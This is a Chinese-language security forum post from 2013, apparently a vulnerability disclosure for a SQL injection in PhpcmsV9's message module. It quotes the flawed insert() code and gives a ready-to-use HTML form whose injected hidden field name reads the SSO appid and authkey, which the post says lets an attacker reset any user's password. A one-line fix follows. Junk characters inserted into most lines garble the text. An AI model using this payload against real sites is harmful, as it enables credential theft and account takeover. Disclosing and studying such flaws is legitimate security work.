中国网络渗透测试联盟

标题: PhpcmsV9 SQL注射修改任意用户密码漏洞 [打印本页]

作者: admin    时间: 2013-2-23 11:33
标题: PhpcmsV9 SQL注射修改任意用户密码漏洞
简要描述:, u, H9 Z7 d% n/ i

' b- B. T* X) r, U* B8 l/ w第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。7 t! O: z" v- v

; [4 J6 ]% W/ y; k) N, O' Y明天再更新下一个漏洞。7 n# t9 e/ g3 p
详细说明:+ k" N( f( ~; ?- T2 F6 g
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
3 H8 O9 W& a6 ?  ]) D# v% ?1 I- u
5 _" w" A) a% X$messageid = $this->message_db->insert($_POST['info'],true);
0 J7 a1 b, o# d* n3 J
" ^; P) k* l/ L3 |) s. S; {7 l
  {3 Q8 ~* |, P* [; Einsert方法是key value的,代码如下:
0 y9 w) S) \" ^( h5 a
" B0 h) `2 J2 l5 m+ Y$ v9 I: [public function insert($data, $table, $return_insert_id = false, $replace = false) {6 B/ n+ v3 g# P5 V1 E# J4 W
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
' w5 h' k1 e: O6 S7 S) `                        return false;1 O" C, t/ d8 [. D- f3 A$ D* _
                }5 B& K& ~% f, W! a3 ?) ^9 u
                ' G! p: y& ]: @/ ~
                $fielddata = array_keys($data);
4 p, y/ q9 a% t! i4 x8 P* m                $valuedata = array_values($data);
3 [" b- O  y" A& v/ T7 q: V5 n                array_walk($fielddata, array($this, 'add_special_char'));
3 X% q" E& `# Q  B& c                array_walk($valuedata, array($this, 'escape_string'));! C3 `( K6 S% \( _  }3 L6 ^
               
' H# T% V$ E# z# J) c                $field = implode (',', $fielddata);/ |  J: W9 G0 Q: o1 O0 \# F
                $value = implode (',', $valuedata);
' ]: r1 F4 d" Z0 h4 S* p4 y' T$ G$ A. `
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
  U8 Z% U/ ]$ I  S+ _0 X: r, P, M                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';3 X1 b6 _9 c; e. v9 k7 I* W* m0 C
                $return = $this->execute($sql);
7 g1 z% [$ ?4 p& Y# I9 K1 L9 f                return $return_insert_id ? $this->insert_id() : $return;4 B; K, ]. q4 v/ Z. N" g
        }
  I- L; m& ]( D, d7 @# }" V& t; B3 ?. s. F0 x( G3 {5 a

+ v+ e& p; m7 e+ n5 r0 l嗯,很遗憾的是
1 L% v0 Y0 m: r  _0 Y# [( f* B' v5 u( i6 x$ Y% H  I, H% J  s
array_walk($fielddata, array($this, 'add_special_char'));$ X2 G& ^6 e/ H2 G  q
  n/ g8 G) s+ q7 T" a

- Z0 \# O2 P$ f  M中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。8 R, e+ d) [# t* E7 y

& z, i! Y0 T: P* N到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。- ?" v3 ]- u8 @  _" s% O; [

' p' Z. D* M+ ]3 `' y+ p漏洞证明:& m% B! n: S9 G0 y- N/ Z/ ?! N
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。1 A1 ^0 G# L. N+ l6 S6 v# g
[attach]200[/attach]
, I% C; k. \0 q
1 J8 a2 Q. D; ~5 z: f2 i1 B表单如下:用户名什么的得自己改一改。
# ?& {" T2 F" q: R6 A% N0 F& r! y<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">$ l. W' ~: a" E& e3 f
<table width="100%" cellspacing="0" class="table_form">. Y5 E- }( `: v: p/ Z
<tr>" C, g: P7 H0 C8 a2 ]
<th>标 题:</th>
: J& s4 r! a' K& H9 I8 |<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
) {1 Z: J" x8 S2 s/ i4 w</tr>
2 j( d# p0 j# H1 u<tr>0 t6 r: {2 x$ n! H5 c3 ^
<th>内 容:</th>
6 P# d, @" T! g2 T<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
8 I' I+ Q; N$ T- L. z5 a</tr>4 p" p5 Y: O; a, v5 e! l) C2 C  N
<input type="hidden" name="info[replyid]" value="2" /> 0 Y! S( b* S! ^' w# Y) P
<input type="hidden" name="info[send_to_id]" value="cc" />
! @% J( W. D5 S$ C$ y. A' n<input type="hidden" name="info[send_from_id]" value="hh">. m/ g1 n/ g' t: Y
<!-- 漏洞的利用重点在这里开始 -->
8 B. R4 b" G; `$ ?<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
0 I' r. [4 @* d. F; @8 }6 g<!-- 漏洞的利用重点在这里结束 -->
5 z" \- T) q! e% }<tr>4 t  N+ P* q& Q+ J5 K8 g
<th>验证码:</th>9 M% ]0 W# N- y' W7 |: Q* `
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>' J: A) {+ E+ I, W
</tr>
, x5 Y$ d3 k, h6 y0 w$ [4 p<tr>
0 M1 ?, v6 p/ W1 F' z<td></td>1 ^$ H  t2 F8 {2 q5 e4 P  v+ N
<td colspan="2"><label>
3 n# v, I# W9 r5 ~6 J& r* `<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
$ r9 l( X: Z: A" K) {  r/ m! |1 C8 Y</label></td>: l0 a9 U( ?1 }4 B5 k" D. H
</tr>
1 S( c. O1 V' g" \% V2 C2 x& r</table>
" @+ k& o- s1 Y5 Z2 ]' H, \, C</form>
% w. n6 D% T" K( u$ S在add_special_char函数内对key做过滤就可以了。2 ]6 Y7 Q! n7 a* f# @  a, \5 `
9 o% C# v$ `0 i, t. s3 y0 d

& }- b/ \1 d- e9 K: J& S1 ~3 r: g$ g& G: D( E4 U. L; l





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2